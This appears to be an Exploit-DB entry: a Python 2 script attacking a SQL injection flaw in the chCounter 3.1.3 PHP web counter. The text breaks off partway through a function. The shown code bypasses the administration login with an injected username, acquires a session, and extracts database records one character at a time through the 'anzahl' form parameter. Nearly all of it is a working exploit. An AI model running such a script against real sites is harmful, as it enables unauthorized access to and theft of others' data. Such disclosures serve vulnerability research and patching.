Exploit-DB #15568
Description: chCounter 3.1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-18
Author: Matias Fontanini

Exploit:
#!/usr/bin/python
#
# Exploit Title: chCounter <= 3.1.3 SQLInjection
# Date: 2010/11/18
# Author: Matias Fontanini(mfontanini@cert.unlp.edu.ar).
# Software Link: http://chcounter.org/chCounter3/getfile.php?id=5
# Version: 3.1.3
# Tested on: Ubuntu Server 10.04 with apache
#
# Requirements: 
# - Downloads must be enabled(this is not default).
# - magic_quotes off. 
# - Access to administration site(can be bypassed if magic_quotes off)
#
# =SQLInjection=
# Location: administration/index.php?cat=downloads&edit=
# Affected parameters: anzahl
# Method: POST
# Severity: High
# Description: When accessing administration/index.php?cat=downloads&edit=VALID_ID
# and using a valid download id, an attacker is able to manipulate the "anzahl"
# parameter to perform queries which only involve returning an integer. The query
# output will be sent back to the client in the "anzahl" text input.
# Exploit: An attacker could perform repeated crafted requests to retrieve any 
# database records for which the user has access.

import sys
import httplib, urllib
import types

lookupString='name="anzahl" value="'

def generateHeaders(host, sessid):
    headers = {'Host':host,
            'User-Agent':'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12',
            'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language':'en-us,en;q=0.5',
            'Accept-Encoding':'deflate',
            'Accept-Charset:':'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
            'Keep-Alive':'115',
            'Connection':'keep-alive',
            'Content-Type':'application/x-www-form-urlencoded',
            'Referer':'http://' + host,
            'Cookie':'PHPSESSID='+sessid}
    if sessid == '':
        del headers['Cookie']
    return headers


def loginRequest(connection, sessid, host, path):
    headers = generateHeaders(host, sessid)
    params = urllib.urlencode({'login_form':'1','login_name':'or \'=\'','login_pw':''})
    connection.request('POST', path + 'administration/index.php', params, headers)
    return connection.getresponse()


def generateSessId(connection, host, path):
    headers = generateHeaders(host, '')
    connection.request('GET', path + 'stats/online_users.php', '', headers)
    response = connection.getresponse()
    cookie = response.getheader('Set-Cookie')
    if type(cookie) is types.NoneType:
        print '[-] Could not get session id. Wrong path?'
        exit(2)
    return cookie[10:cookie.find(';')]
    
def genSessid(host, path):
    print '[+] Trying ' + host + path
    con = connectToHost(host)
    sessid = generateSessId(con, host, path)
    print '[+] Acquired PHPSESSID -> ' + sessid
    con = connectToHost(sys.argv[1])
    output = loginRequest(con, sessid, host, path).read()
    if output.find('login_name') != -1:
        print '[-] Could not bypass login'
        exit(7)
    return sessid

def guessLen(sessid, host, field, path, dId, table):
    headers = generateHeaders(host, sessid)
    connection = connectToHost(host)
    params = urllib.urlencode({'dl_id':dId,
                               'name':'test','url':'http://test.com',
                               'wert':'test',
                               'timestamp_eintrag':'2010-11-17, 15:43:00',
                               'timestamp':'2010-11-17, 15:43:00',
                               'edit_download':'Save entry',
                               'anzahl':'(select length(val) from (select '+field+' as val from '+table+') as xYsdS)'})
    connection.request('POST', path + 'administration/index.php?cat=downloads&edit='+str(dId), params, headers)
    response = connection.getresponse().read()
    if response.find('command denied') != -1:
        print '[-] Could not acces table. Acces denied.'
        exit(4)
    index = response.find(lookupString)
    return int(str(response[index+len(lookupString):response.find('"', index+len(lookupString))]))


def guessField(sessid, host, path, dId, field, table):
    sz=guessLen(sessid, host, field, path, dId, table)
    headers = generateHeaders(host, sessid)
    i=1
    while i <= sz: 
        connection = connectToHost(host)
        params = urllib.urlencode({'dl_id':dId,
                                   'name':'test','url':'http://test.com',
                                   'wert':'test',
                                   'timestamp_eintrag':'2010-11-17, 15:43:00',
                                   'timestamp':'2010-11-17, 15:43:00',
                                   'edit_download':'Save entry',
                                   'anzahl':'(select ascii(substring(val,'+str(i)+',1)) from (select '+field+' as val from '+table+') as x)'})
        connection.request('POST', path + 'administration/index.php?cat=downloads&edit='+str(dId), params, headers)
        response = connection.getresponse().read()
        index = response.find(lookupString)
        sys.stdout.write(chr(int(str(response[index+len(lookupString):response.find('"', index+len(lookupString))]))))
        sys.stdout.flush()
        i += 1


def getValidId(sessid, host, path):
    headers = generateHeaders(host, sessid)
    connection = connectToHost(host)
    connection.request('GET', path + 'administration/index.php?cat=downloads', '', headers)
    response = connection.getresponse().read()
    if response.find('ID') == -1:
        print '[-] Downloads seem to be deactivated'
        exit(6)
    index=response.find('index.php?cat=downloads&edit=')
    return int(str(response[index+len('index.php?cat=downloads&edit='):response.find('"', index+len('index.php?cat=downloads&edit='))]))

def getRowCount(sessid, host, path, dId, field, table):
    headers = generateHeaders(host, sessid)
    connection = connectToHost(host)
    params = urllib.urlencode({'dl_id':dId,